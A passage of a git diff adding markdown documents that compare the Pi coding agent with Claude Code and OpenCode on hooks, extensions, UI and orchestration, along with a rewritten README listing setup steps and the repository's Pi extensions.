Pi | +| MCP Support | Native first-class, lazy loading (95% context reduction), OAuth | Not built-in (by design, argues 7-14k token overhead); available via extensions | Claude Code | +| Tool Count Philosophy | More tools = more capable out of the box (10+) | Fewer tools = smaller system prompt (~1000 tokens), trusts frontier models | Both | + +--- + +## Hooks & Event System + +> Claude Code: **14 hook events**, 3 handler types (command, prompt, agent) — shell-based, JSON stdin/stdout +> Pi: **25 extension events** across 7 categories — in-process TypeScript with full API access + +### Architecture + +| Feature | Claude Code | Pi Agent | Winner | +| ------------------------ | ---------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- | ------ | +| Hook Language | Shell commands (any language), LLM prompts, or agent subprocesses | TypeScript (in-process, zero-build via jiti) | Pi | +| Handler Types | 3: command (shell), prompt (LLM eval), agent (multi-turn subagent) | 1: async TypeScript handler with full session/UI access | Both | +| Hook Configuration | JSON in settings files (.claude/settings.json, managed policy, plugin hooks.json, skill/agent frontmatter) | TypeScript code in extension files | Both | +| Can Modify Tool Input | Yes — updatedInput in PreToolUse/PermissionRequest | Yes — return modified args from tool_call handler | Tie | +| Async/Background Hooks | Yes — async: true on command hooks (non-blocking, results delivered next turn) | Yes — handlers are async by default, can fire-and-forget | Tie | +| Inter-Hook Communication | No built-in | Yes — pi.events shared event bus between extensions | Pi | + +### Hook-by-Hook Mapping + +| Lifecycle Point | Claude Code Hook | Pi Extension Event(s) | Notes | +| ----------------------------- | --------------------------------------------------------------------------------------- | --------------------------------------------------------------------- | ----------------------------------------------------------------------------- | +| Session starts | `SessionStart` (matcher: startup/resume/clear/compact) | `session_start` | CC can persist env vars via CLAUDE_ENV_FILE. Both can inject context | +| User submits prompt | `UserPromptSubmit` — can block prompt, add context | `input` — can block, transform text, or handle entirely | Pi also distinguishes source: interactive/rpc/extension | +| Before tool executes | `PreToolUse` — allow/deny/ask, modify input | `tool_call` — block with reason, modify args, typed per-tool | Both can intercept and modify. Pi has typed narrowing via isToolCallEventType | +| Permission dialog shown | `PermissionRequest` — auto-allow/deny on behalf of user | N/A (Pi has no permission system by default) | CC-only — Pi runs YOLO by default, permission-gate is an extension | +| After tool succeeds | `PostToolUse` — feedback to Claude, modify MCP output | `tool_result` — modify results, log, transform output | Comparable | +| After tool fails | `PostToolUseFailure` — add context about the failure | `tool_result` (isError flag) | CC has a dedicated event; Pi uses same event with error flag | +| Tool execution streaming | N/A | `tool_execution_start`, `tool_execution_update`, `tool_execution_end` | Pi-only — real-time streaming of tool execution progress | +| Bash spawn intercept | N/A | BashSpawnHook — modify command, cwd, env before bash executes | Pi-only — intercepts at process spawn level | +| User runs bash directly | N/A | `user_bash` — fired when user types shell commands (!! prefix) | Pi-only | +| Notification sent | `Notification` (matcher: permission_prompt/idle_prompt/auth_success/elicitation_dialog) | N/A (use ctx.ui.notify in any handler) | CC-only as a hook event | +| Subagent spawned | `SubagentStart` (matcher: agent type) | N/A (Pi has no built-in subagents) | CC-only | +| Subagent finished | `SubagentStop` — can prevent subagent from stopping | N/A | CC-only | +| Agent stops responding | `Stop` — can force Claude to continue | N/A (use turn_end or agent_end to react) | CC can block stopping; Pi can't but can queue follow-ups | +| Teammate goes idle | `TeammateIdle` — can force teammate to continue | N/A (Pi has no built-in teams) | CC-only | +| Task marked complete | `TaskCompleted` — can block completion | N/A (Pi has no built-in task system) | CC-only | +| Before compaction | `PreCompact` (matcher: manual/auto) | `session_before_compact` — can provide custom compaction entirely | Pi can fully replace compaction logic | +| After compaction | N/A | `session_compact` | Pi-only | +| Before session branching | N/A | `session_before_fork`, `session_before_switch`, `session_before_tree` | Pi-only — session tree architecture | +| After session branching | N/A | `session_fork`, `session_switch`, `session_tree` | Pi-only | +| Session ends | `SessionEnd` (matcher: clear/logout/exit/other) — no decision control | `session_shutdown` | Both fire on exit; neither can block | +| Before agent processes prompt | N/A | `before_agent_start` — can modify system prompt, images, prompt text | Pi-only — dynamic system prompt per-turn | +| Agent turn lifecycle | N/A | `agent_start`, `agent_end`, `turn_start`, `turn_end` | Pi-only — granular agent lifecycle | +| Message streaming | N/A | `message_start`, `message_update`, `message_end` | Pi-only — token-by-token streaming access | +| Model changed | N/A | `model_select` (source: set/cycle/restore) | Pi-only — react to model switches | +| Context window access | N/A | `context` — deep copy of messages, can filter/prune | Pi-only — direct context manipulation | + +--- + +## Extensions & Customization + +| Feature | Claude Code | Pi Agent | Winner | +| ------------------------------ | ------------------------------------------ | ------------------------------------------------------------------------------- | ------ | +| Extension Language | Shell scripts (hooks), Markdown (commands) | TypeScript (zero-build via jiti) | Pi | +| Slash Commands | .claude/commands/*.md prompt templates | Prompt templates + /skill:name + extension-registered commands | Tie | +| Package Distribution | Plugin marketplace — `/plugin` commands, git-based sharing | pi install npm:/git:/local, pi config TUI, npm gallery | Both | +| Skills (Agent Skills Standard) | Yes (auto-invocation) | Yes (progressive disclosure, cross-tool compat with ~/.claude/skills) | Tie | +| Themes | Minimally customizable | 51 color tokens, hot-reload, dark/light built-in, community themes via packages | Pi | +| Custom Keyboard Shortcuts | ~/.claude/keybindings.json | pi.registerShortcut() in extensions | Tie | +| Custom CLI Flags | Not possible | pi.registerFlag() adds custom flags to CLI | Pi | +| Custom Providers | Not possible | pi.registerProvider() with OAuth support | Pi | +| Custom Editors | Not possible | Modal editor (vim), emacs bindings, rainbow editor via extensions | Pi | + +--- + +## UI & Terminal + +| Feature | Claude Code | Pi Agent | Winner | +| --------------- | --------------------------------------- | ------------------------------------------------------------------------- | ------ | +| Custom Header | No | ctx.ui.setHeader() replaces logo/keybinding hints with custom component | Pi | +| Custom Footer | Configurable statusline (tokens, cost, model) | ctx.ui.setFooter() with git branch, token stats, cost tracking, anything | Pi | +| Status Line | Configurable statusline (tokens, cost, model) | ctx.ui.setStatus() with themed colors, turn tracking, custom data | Pi | +| Widgets | No | ctx.ui.setWidget() above/below editor with custom content | Pi | +| Overlays | No | Full overlay applications (Doom, Space Invaders, QA test overlays) | Pi | +| Dialogs | Basic permission prompts | ctx.ui.select(), confirm(), input(), editor() + custom rendering | Pi | +| Rendering | Standard terminal with known issues | Standard terminal with known issues | Both | +| Message Queuing | Supported — queue messages while agent works | Enter = steer (interrupt), Alt+Enter = follow-up (queue after completion) | Both | + +--- + +## Programmatic & SDK + +| Feature | Claude Code | Pi Agent | Winner | +| -------------------- | ------------------------------ | ----------------------------------------------------------------------------- | ------ | +| Non-Interactive Mode | claude --print | pi -p (+ stdin auto-activates) | Tie | +| JSON Streaming | --output-format stream-json | --mode json (JSONL events with full lifecycle) | Tie | +| RPC Mode | None | --mode rpc (26+ commands, bidirectional JSON protocol, any language) | Pi | +| Node.js SDK | @anthropic-ai/claude-agent-sdk | @mariozechner/pi-coding-agent (createAgentSession, full internal API) | Tie | +| Mid-Stream Control | ClaudeSDKClient.interrupt() — stop and redirect | steer() interrupts, followUp() queues messages while agent works | Pi | +| Session Stats API | Limited | getSessionStats() returns tokens (in/out/cache), cost, tool calls per session | Pi | +| HTML Export | /export — session to HTML | --export, /export, session.exportToHtml() | Both | +| SDK Examples | Docs-based | 12 official examples from minimal to full-control in package | Pi | + +--- + +## Multi-Agent & Orchestration + +| Feature | Claude Code | Pi Agent | Winner | +| ------------------------- | ---------------------------------------------------- | ------------------------------------------------------------------------------ | ----------- | +| Sub-Agents | Native Task tool, 7 parallel, permission inheritance | Subagent extension (single/parallel/chain modes), spawns separate pi processes | Claude Code | +| Agent Teams | Native team coordination (lead + workers) | No built-in equivalent; use orchestration scripts | Claude Code | +| Multi-Model Orchestration | Not possible (single provider) | Different models per sub-agent (scout on flash, worker on opus) | Pi | + +--- + +## Enterprise & Platform + +| Feature | Claude Code | Pi Agent | Winner | +| ---------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------ | ----------- | +| IDE Integration | VS Code, JetBrains, Cursor (inline diffs, @mentions) | Terminal-only (could integrate via RPC) | Claude Code | +| Web/Mobile/Desktop | claude.ai/code, iOS app, desktop app | Terminal only | Claude Code | +| Enterprise SSO/Audit | Yes (SSO, MFA, audit logs, admin dashboard) | No | Claude Code | +| Permissions/Sandboxing | 5 modes, deny-first rules, filesystem/network sandbox | None by default ("YOLO mode"); permission-gate extension available | Claude Code | +| Git Integration | Deep (commits, PRs, merge conflicts, GitHub Actions, GitLab CI) | Via bash; git-checkpoint extension available | Claude Code | +| Slack/Chat Integration | Native @Claude mentions to PRs | pi-mom Slack bot package | Claude Code | + +--- + +## Sharing & Distribution + +| Feature | Claude Code | Pi Agent | Winner | +| -------------------------- | ------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------- | ----------- | +| Package System | Plugin marketplace — `/plugin` commands, `.claude-plugin/plugin.json` manifest | `pi install npm:/git:/local` — `package.json` with `pi` key, `pi-package` npm keyword | Both | +| What's Bundled | Skills, agents, hooks, MCP servers, LSP servers | Extensions, skills, prompt templates, themes | Both | +| Distribution Sources | Marketplace (GitHub repo, git URL, npm, pip, direct URL, local path) | npm registry, git (GitHub/GitLab/SSH), local paths — no intermediate marketplace needed | Both | +| Discovery | Official `claude-plugins-official` marketplace + team/community marketplaces via `extraKnownMarketplaces` | npm search (`pi-package` keyword) + gallery at shittycodingagent.ai/packages with video/image previews | Both | +| Scope | User, project, local, managed (enterprise) — namespaced as `plugin-name:skill-name` | Global (`~/.pi/`) or project (`.pi/`, `-l` flag) — project settings auto-install missing packages on startup | Tie | +| Config UI | `/plugin` slash commands for install/browse/manage | `pi config` interactive TUI for enable/disable per-resource | Tie | +| Try Without Installing | No equivalent | `pi -e npm:@foo/bar` — ephemeral install for current session only | Pi | +| Cross-Tool Portability | Agent Skills standard (agentskills.io) — shared with VS Code, Codex, Cursor, GitHub | No cross-tool standard — Pi-specific extensions | Claude Code | +| Enterprise Controls | `strictKnownMarketplaces`, allowlists by repo/URL/host regex, managed plugin deployment | No enterprise controls — trust-based, review source before installing | Claude Code | +| Git-Based Sharing | `.claude/` directory (settings, skills, agents, rules, hooks) committed to repo — team gets config on clone | `.pi/settings.json` with packages — team gets packages auto-installed on startup | Tie | +| Update Mechanism | Marketplace auto-updates at startup (configurable) | `pi update` for non-pinned packages, version pinning with `@version` | Tie | +| Package Filtering | Plugin resources loaded as-is (namespaced to prevent conflicts) | Glob patterns + `!exclusions` per resource type, force-include/exclude exact paths | Pi | + +--- + +## Community & Ecosystem + +| Feature | Claude Code | Pi Agent | +| ---------------- | --------------------------------------------------------------------- | ---------------------------------------------------------------------------- | +| Creator | Anthropic — $1B+ ARR, enterprise AI company | Mario Zechner — libGDX creator (24.8K stars), solo maintainer | +| Traction | Enterprise adoption, deep IDE integrations, massive user base | 11.5K stars, 3.17M monthly npm downloads, 208 versions | +| Endorsements | Enterprise customers, Anthropic ecosystem | Armin Ronacher (Flask/Ruff) uses + contributes, powers OpenClaw (145K stars) | +| Release Velocity | Regular releases | 10+ releases in 8 days, new model support within hours | diff --git a/PI_VS_OPEN_CODE.md b/PI_VS_OPEN_CODE.md new file mode 100644 index 0000000..c810112 --- /dev/null +++ b/PI_VS_OPEN_CODE.md @@ -0,0 +1,178 @@ +# Pi Agent vs OpenCode — Customization & Control Comparison + +> Pi v0.52+ vs OpenCode v1.1+ (Feb 2026) +> +> **Thesis:** Pi and OpenCode are both MIT-licensed, open-source, model-agnostic terminal coding agents. But they represent fundamentally different architectures. Pi is a **programmable platform** — a minimal harness with 25+ in-process TypeScript hooks that let you build your own agent experience. OpenCode is a **configurable product** — a full-featured Claude Code alternative with JSON-driven settings and a plugin system for extras. The distinction matters: Pi gives you control at the *runtime* level. OpenCode gives you control at the *configuration* level. + +--- + +## The Core Architectural Split + +| Dimension | Pi Agent | OpenCode | +| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **What it ships** | 4 tools, ~200-token system prompt, 25+ extension events. Everything else is opt-in. | 12+ tools, built-in sub-agents, Plan mode, LSP, web search, MCP, permissions, desktop app. | +| **Extension model** | In-process TypeScript. Extensions run in the same runtime as the agent loop. They can intercept, block, modify, and transform any event in real-time. | Out-of-process plugins. JS/TS files in a config directory that subscribe to events and register tools. | +| **Customization ceiling** | Effectively unlimited — you can replace the entire UI, override any tool, inject custom system prompts per-turn, build full overlay applications (Doom, Space Invaders, QA tools), and orchestrate multi-agent pipelines. | Bounded — you can add tools, hook into tool execution, customize compaction, and configure permissions via JSON. But you cannot modify the TUI, inject custom UI components, or intercept the input/agent lifecycle at the same depth. | +| **Philosophy** | "If I don't need it, it won't be built. Build what you need." | "Ship a polished, complete product. Configure what you need." | +| **Closest analogy** | A race car chassis + engine. You design the body, aero, and electronics. | A production car with a tuning package. You adjust settings and bolt on accessories. | + +--- + +## Extension / Plugin System — Deep Comparison + +This is the single most important comparison between these two tools. Pi's extension system is architecturally different from OpenCode's plugin system — not just in API surface, but in *where code runs* and *what it can touch*. + +### Architecture + +| Feature | Pi Extensions | OpenCode Plugins | Winner | +| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | +| Runtime model | **In-process** — extensions execute in the same Bun/Node.js runtime as the agent loop. Zero serialization overhead. Direct access to session state, UI context, and the event stream. | **Separate module** — plugins are loaded from `.opencode/plugins/` or npm. They receive a context object and return hook handlers. Communication happens through the SDK client. | Pi | +| Build step | None — TypeScript executed via jiti at runtime. Write `.ts`, run immediately. | None — TypeScript supported natively via Bun loader. | Tie | +| Composability | Stack multiple extensions with `-e` flags: `pi -e ext1.ts -e ext2.ts`. Extensions can communicate via `pi.events` shared bus. | Multiple plugins loaded from directory. No built-in inter-plugin communication channel. | Pi | +| Ephemeral testing | `pi -e npm:@foo/bar` — try a package without installing | Not possible — must add to config or plugin directory | Pi | + +### Event Coverage + +This is where the gap is widest. Pi exposes 25+ typed events across 7 categories. OpenCode exposes ~20 events but skips critical lifecycle hooks. + +| Lifecycle Point | Pi Extension Event | OpenCode Plugin Hook | Gap Analysis | +| --------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Session starts** | `session_start` | `session.created` | Comparable | +| **User submits prompt** | `input` — can **block**, transform text, or handle entirely | ❌ Not available | **Pi-only.** This is huge — Pi can gate all user input, inject context, redirect prompts, or prevent execution before the agent ever sees it. OpenCode has no equivalent. | +| **Before agent processes prompt** | `before_agent_start` — can modify system prompt, images, prompt text **per-turn** | ❌ Not available | **Pi-only.** Dynamic system prompt injection on every turn. The purpose-gate extension uses this to inject session intent into every agent call. | +| **Agent turn lifecycle** | `agent_start`, `agent_end`, `turn_start`, `turn_end` | `session.idle` (only fires when agent finishes) | **Pi has 4x granularity.** OpenCode only knows when the agent is done, not when turns start/end within a session. | +| **Before tool executes** | `tool_call` — block with reason, modify args, typed per-tool via `isToolCallEventType()` | `tool.execute.before` — can modify args, throw to block | Both can intercept. Pi has typed narrowing per tool (bash, read, write, edit). | +| **After tool executes** | `tool_result` — modify results, log, transform output | `tool.execute.after` — react to results | Comparable | +| **Tool execution streaming** | `tool_execution_start`, `_update`, `_end` | ❌ Not available | **Pi-only.** Real-time streaming of tool output as it happens — critical for building live progress UIs. | +| **Bash spawn intercept** | `BashSpawnHook` — modify command, cwd, env vars **before the process spawns** | `shell.env` — inject env vars into shell execution | Pi intercepts at process spawn level. OpenCode only injects env vars. | +| **Message streaming** | `message_start`, `message_update`, `message_end` — token-by-token access | `message.part.updated`, `message.updated` | Both have message events; Pi is more granular with token-level streaming. | +| **Model changed** | `model_select` (source: set/cycle/restore) | ❌ Not available | **Pi-only.** React to model switches programmatically. | +| **Context window access** | `context` — deep copy of all messages, can filter and prune | ❌ Not available | **Pi-only.** Direct manipulation of what's in the context window. No other tool offers this. | +| **Before compaction** | `session_before_compact` — can **replace compaction logic entirely** | `experimental.session.compacting` — inject context or replace prompt | Both can customize. Pi can replace the entire compaction flow; OpenCode can replace the prompt. | +| **Session branching** | `session_before_fork`, `session_fork`, `session_before_switch`, `session_switch`, `session_before_tree`, `session_tree` | ❌ Not applicable (no branching model) | **Pi-only.** Pi's JSONL tree session format supports forking/branching. OpenCode uses linear SQLite sessions. | +| **Permission events** | Not applicable (YOLO by default) | `permission.asked`, `permission.replied` | OpenCode-only — but Pi can build equivalent or better permission systems via `tool_call` blocking. | +| **LSP events** | Not built-in | `lsp.client.diagnostics`, `lsp.updated` | OpenCode-only — native LSP integration. | +| **File watcher** | Not built-in | `file.watcher.updated` | OpenCode-only. | +| **Todo events** | Not built-in | `todo.updated` | OpenCode-only. | + +**Summary: Pi has 8+ hook points that OpenCode simply doesn't expose**, including the critical `input`, `before_agent_start`, agent lifecycle, tool execution streaming, context window access, and session branching hooks. These aren't minor — they're the hooks you need to build fundamentally different agent behaviors. + +### UI Customization + +This is the other dimension where Pi is in a different category entirely. + +| Feature | Pi Extensions | OpenCode Plugins | Winner | +| -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------- | ------ | +| Custom header | `ctx.ui.setHeader()` — replace the logo and keybinding hints with any content | ❌ Not possible | Pi | +| Custom footer | `ctx.ui.setFooter()` — git branch, token stats, cost tracking, tool counters, anything | ❌ Not possible | Pi | +| Status line | `ctx.ui.setStatus()` — themed colors, turn tracking, custom data | ❌ Not possible | Pi | +| Widgets | `ctx.ui.setWidget(key, renderFn)` — persistent UI panels above/below the editor. Used for subagent progress, task lists, tool counters, purpose display. | ❌ Not possible | Pi | +| Overlays | Full overlay applications — session replay timeline, game overlays (Doom), QA tools | ❌ Not possible | Pi | +| Dialogs | `ctx.ui.select()`, `confirm()`, `input()`, `editor()` — interactive prompts with custom rendering | ❌ Not available to plugins (only built-in permission dialogs) | Pi | +| Custom editors | vim modal editor, emacs bindings, rainbow editor — all via extensions | ❌ Not possible | Pi | +| Notifications | `ctx.ui.notify()` from any handler | `osascript` or desktop app notifications via plugin | Both | +| Theme system | 51 color tokens, hot-reload, dark/light, custom themes via packages | Theme customization via `tui.json` | Pi | + +**OpenCode's TUI is polished but closed.** It's built with Bubble Tea (Go) and the Ink React renderer, and it looks great out of the box. But you can't inject custom UI components, widgets, or overlays into it from a plugin. What you see is what you get. + +**Pi's TUI is a canvas.** The extensions API gives you full control over every UI surface — header, footer, status line, widgets above/below the editor, fullscreen overlays, and interactive dialogs. The pi-vs-claude-code repo demonstrates this with 16 extensions that completely transform the agent experience. + +### Registration APIs + +| What you can register | Pi | OpenCode | +| ----------------------------- | --------------------------------------------------------------------- | --------------------------------------------------------- | +| Custom tools | `pi.registerTool()` — in-process, streaming results, custom rendering | `tool()` helper in plugins — Zod schema, execute function | Tie | +| Override built-in tools | Register tool with same name → replaces built-in | Plugin tool with same name → takes precedence | Tie | +| Custom slash commands | `pi.registerCommand()` + prompt templates in `.pi/prompts/` | Markdown files in `.opencode/commands/` | Tie | +| Custom CLI flags | `pi.registerFlag()` — adds flags to the `pi` CLI | ❌ Not possible | Pi | +| Custom keyboard shortcuts | `pi.registerShortcut()` | Configurable via `tui.json` keybinds (JSON, not code) | Pi | +| Custom providers | `pi.registerProvider()` with OAuth support | JSON config in `opencode.json` with npm AI SDK packages | Pi | +| Persistent extension state | `pi.appendEntry()` — survives restarts, stored in session JSONL | ❌ Not available to plugins | Pi | +| Inter-extension communication | `pi.events` shared event bus | ❌ Not available | Pi | + +--- + +## What OpenCode Does Better (And Why It Still Matters) + +The thesis isn't "Pi is better." It's "Pi is more controllable." OpenCode has real advantages that come from its product-first approach: + +| Feature | Why OpenCode Wins | Pi's Alternative | +| ------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- | +| **Batteries included** | 12+ tools, LSP, web search, MCP, permissions, todo tracking — zero configuration needed. You install and start coding. | You build what you need with extensions, or install pi packages. Higher ceiling, higher floor. | +| **Built-in Plan mode** | Tab to switch between Build (full access) and Plan (read-only). No setup. | No plan mode. "Just tell the agent to think." Or build it with an extension. | +| **Native MCP support** | stdio and remote MCP servers configured in JSON. First-class integration. | Not built-in by design (argues 7-14K token overhead). Available via extensions. | +| **Permission system** | Granular allow/deny/ask with glob patterns per tool, per agent, per command pattern. `.env` files denied by default. Doom loop detection. | YOLO by default. The damage-control extension builds equivalent functionality — but you have to build or install it. | +| **LSP integration** | go-to-definition, find references, hover, document symbols, call hierarchy — all built in. | Not available. Would need to be built as an extension. | +| **Client/server architecture** | TUI is one client. Desktop app, VS Code extension, web UI, and mobile are others. `opencode serve` exposes an HTTP API. | Terminal only. RPC mode over stdin/stdout for programmatic access, but no multi-client architecture. | +| **Desktop app** | Native app for macOS, Windows, Linux. | No. | +| **GitHub/GitLab integration** | Comment `@opencode` on issues/PRs. GitLab Duo OAuth. | Via bash. | +| **Massive community** | 104K stars, 735 contributors, 9,200+ commits. Issues get fixed fast. | ~8.9K stars (pi-mono), solo maintainer + approved contributors. Smaller but passionate community. | +| **Organizational config** | `.well-known/opencode` endpoint for enterprise defaults. | Not available. | + +--- + +## Concrete Examples: What Pi's Control Enables + +These aren't theoretical. They're actual extensions in the pi-vs-claude-code repo. + +### 1. Purpose Gate (Input Interception + Dynamic System Prompts + Custom Widgets) +Forces the engineer to declare session intent before any work begins. Uses `input` to block all prompts until purpose is set, `before_agent_start` to inject purpose into the system prompt on every turn, and `setWidget` to display it persistently. + +**Could OpenCode do this?** Partially. You could create a custom agent with a specific prompt, but you can't block user input, you can't inject per-turn system prompts, and you can't add a persistent widget to the UI. + +### 2. Damage Control (Safety Auditing via tool_call Interception) +Intercepts every tool call, checks against YAML-defined rules (dangerous bash patterns, zero-access paths, read-only paths, no-delete paths), and blocks or prompts for confirmation. Uses typed narrowing (`isToolCallEventType`) to extract tool-specific args. + +**Could OpenCode do this?** Partially — OpenCode's `tool.execute.before` can throw to block tool calls, and the built-in permission system covers common cases. But Pi's version is fully programmable with custom rules and custom UI (confirm dialogs, status line updates, persistent logging via `appendEntry`). + +### 3. Subagent Widget (Multi-Agent Orchestration with Live UI) +`/sub` spawns background Pi processes as sub-agents. Each gets its own persistent session file, live-streaming progress widget, and independent model. `/subcont` continues a subagent's conversation. Widgets stack in the UI showing real-time status. + +**Could OpenCode do this?** OpenCode has built-in subagents (@general, custom agents), but you can't add live-updating widgets to the UI, you can't show streaming progress from multiple agents simultaneously, and you can't continue a specific subagent's conversation across turns. + +### 4. Agent Team (Dispatcher Orchestration with Grid Dashboard) +The primary agent becomes a pure dispatcher — it reads your prompt, picks a specialist from a YAML roster, and delegates via a `dispatch_agent` tool. A grid dashboard widget shows all agents and their status. + +**Could OpenCode do this?** OpenCode has custom agents, but the dispatcher pattern with a grid dashboard UI and real-time status widgets isn't possible through plugins. + +### 5. Theme Cycler (Full TUI Theming) +Ctrl+X/Ctrl+Q keyboard shortcuts cycle through custom themes. `/theme` command opens a selector. Hot-reload with 51 color tokens. + +**Could OpenCode do this?** OpenCode has themes via `tui.json`, but no keyboard shortcuts for cycling and no extension-level theme registration. + +--- + +## The OpenCode Clone Thesis + +You asked whether OpenCode is more of a "Claude Code copycat." The evidence supports this framing. Here's what Claude Code ships vs. what OpenCode ships vs. what Pi ships: + +| Feature | Claude Code | OpenCode | Pi | +| --------------------- | ------------------------------ | ----------------------------------- | -------------------------------- | +| Built-in sub-agents | ✅ Native Task tool, 7 parallel | ✅ General subagent + custom agents | ❌ Build with extensions | +| Plan mode | ✅ Built-in plan mode | ✅ Tab to switch to Plan agent | ❌ "Just tell the agent to think" | +| Permission system | ✅ 5 modes, deny-first | ✅ allow/deny/ask with glob patterns | ❌ YOLO by default | +| MCP support | ✅ Native, first-class | ✅ Native, stdio + remote | ❌ Not built-in | +| Web search | ✅ Built-in | ✅ Built-in (Exa AI) | ❌ Build with extensions | +| LSP integration | ❌ Not built-in | ✅ Native | ❌ Not built-in | +| IDE extensions | ✅ VS Code, JetBrains | ✅ VS Code | ❌ Terminal only | +| Desktop app | ✅ Desktop app | ✅ Desktop app (beta) | ❌ Terminal only | +| AGENTS.md / CLAUDE.md | ✅ CLAUDE.md | ✅ AGENTS.md | ✅ AGENTS.md (or CLAUDE.md) | +| Slash commands | ✅ .claude/commands/ | ✅ .opencode/commands/ | ✅ .pi/prompts/ + extensions | +| Skills | ✅ Agent Skills standard | ✅ SKILL.md loading | ✅ Agent Skills standard | +| Session sharing | ✅ /export to HTML | ✅ /share creates link | ✅ /export to HTML | +| GitHub Actions bot | ✅ Native | ✅ @opencode bot | ❌ Not built-in | +| Todo tracking | ✅ Built-in | ✅ Built-in | ❌ Build with extensions | + +OpenCode systematically reproduced Claude Code's feature set, added LSP support and a desktop app, swapped the single-provider lock-in for model-agnostic support, and open-sourced it under MIT. It's a very good execution of this strategy. + +Pi rejected the feature set entirely and built a minimal, extensible harness that trusts the engineer to compose their own agent experience. It's a different bet — that the right set of primitives (events, UI APIs, tool registration, session branching) is more valuable than a pre-built feature set. + +--- + +## Summary: The Decision Framework + +**Choose Pi if you are building a custom agent workflow** — you want to control input interception, dynamic system prompts, UI components, multi-agent orchestration with live dashboards, safety auditing with custom rules, or anything that requires programmatic control over the agent loop. Pi's extensions are code that runs inside the agent. The ceiling is whatever you can build in TypeScript. + +**Choose OpenCode if you want a production-ready Claude Code replacement** — you need LSP, MCP, permissions, Plan mode, sub-agents, web search, GitHub integration, a desktop app, and a massive community shipping updates daily. OpenCode's plugin system handles common customization needs (tool hooks, custom tools, notifications, compaction), and the JSON-driven config covers agent definitions, permissions, and provider setup without writing code. + +**The one-line version:** Pi is a platform. OpenCode is a product. Both are open source. The question is whether you want to *build* your experience or *configure* an existing Claude Code like experience. \ No newline at end of file diff --git a/README.md b/README.md index e215bc4..502e7d4 100644 --- a/README.md +++ b/README.md @@ -1,36 +1,279 @@ -This is a [Next.js](https://nextjs.org) project bootstrapped with [`create-next-app`](https://nextjs.org/docs/app/api-reference/cli/create-next-app). +# pi-vs-cc -## Getting Started +A collection of [Pi Coding Agent](https://github.com/mariozechner/pi-coding-agent) customized instances. _Why?_ To showcase what it looks like to hedge against the leader in the agentic coding market, Claude Code. Here we showcase how you can customize the UI, agent orchestration tools, safety auditing, and cross-agent integrations. -First, run the development server: +
+ pi-vs-cc +
+ +--- + +## Prerequisites + +All three are required: + +| Tool | Purpose | Install | +| --------------- | ------------------------- | ---------------------------------------------------------- | +| **Bun** ≥ 1.3.2 | Runtime & package manager | [bun.sh](https://bun.sh) | +| **just** | Task runner | `brew install just` | +| **pi** | Pi Coding Agent CLI | [Pi docs](https://github.com/mariozechner/pi-coding-agent) | + +--- + +## API Keys + +Pi does **not** auto-load `.env` files — API keys must be present in your shell's environment **before** you launch Pi. A sample file is provided: ```bash -npm run dev -# or -yarn dev -# or -pnpm dev -# or -bun dev +cp .env.sample .env # copy the template +# open .env and fill in your keys ``` -Open [http://localhost:3000](http://localhost:3000) with your browser to see the result. +`.env.sample` covers the four most popular providers: -You can start editing the page by modifying `app/page.tsx`. The page auto-updates as you edit the file. +| Provider | Variable | Get your key | +| ---------------- | -------------------- | ---------------------------------------------------------------------------------------------------------- | +| OpenAI | `OPENAI_API_KEY` | [platform.openai.com](https://platform.openai.com/api-keys) | +| Anthropic | `ANTHROPIC_API_KEY` | [console.anthropic.com](https://console.anthropic.com/settings/keys) | +| Google | `GEMINI_API_KEY` | [aistudio.google.com](https://aistudio.google.com/app/apikey) | +| OpenRouter | `OPENROUTER_API_KEY` | [openrouter.ai](https://openrouter.ai/keys) | +| Many Many Others | `***` | [Pi Providers docs](https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/providers.md) | -This project uses [`next/font`](https://nextjs.org/docs/app/building-your-application/optimizing/fonts) to automatically optimize and load [Geist](https://vercel.com/font), a new font family for Vercel. +### Sourcing your keys -## Learn More +Pick whichever approach fits your workflow: -To learn more about Next.js, take a look at the following resources: +**Option A — Source manually each session:** +```bash +source .env && pi +``` -- [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API. -- [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial. +**Option B — One-liner alias (add to `~/.zshrc` or `~/.bashrc`):** +```bash +alias pi='source $(pwd)/.env && pi' +``` -You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js) - your feedback and contributions are welcome! +**Option C — Use the `just` task runner (auto-wired via `set dotenv-load`):** +```bash +just pi # .env is loaded automatically for every just recipe +just ext-minimal # works for all recipes, not just `pi` +``` -## Deploy on Vercel +--- -The easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js. +## Installation -Check out our [Next.js deployment documentation](https://nextjs.org/docs/app/building-your-application/deploying) for more details. +```bash +bun install +``` + +--- + +## Extensions + +| Extension | File | Description | +| ----------------------- | ----------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **pure-focus** | `extensions/pure-focus.ts` | Removes the footer bar and status line entirely — pure distraction-free mode | +| **minimal** | `extensions/minimal.ts` | Compact footer showing model name and a 10-block context usage meter `[###-------] 30%` | +| **cross-agent** | `extensions/cross-agent.ts` | Scans `.claude/`, `.gemini/`, `.codex/` dirs for commands, skills, and agents and registers them in Pi | +| **purpose-gate** | `extensions/purpose-gate.ts` | Prompts you to declare session intent on startup; shows a persistent purpose widget and blocks prompts until answered | +| **tool-counter** | `extensions/tool-counter.ts` | Rich two-line footer: model + context meter + token/cost stats on line 1, cwd/branch + per-tool call tally on line 2 | +| **tool-counter-widget** | `extensions/tool-counter-widget.ts` | Live-updating above-editor widget showing per-tool call counts with background colors | +| **subagent-widget** | `extensions/subagent-widget.ts` | `/sub ` command that spawns background 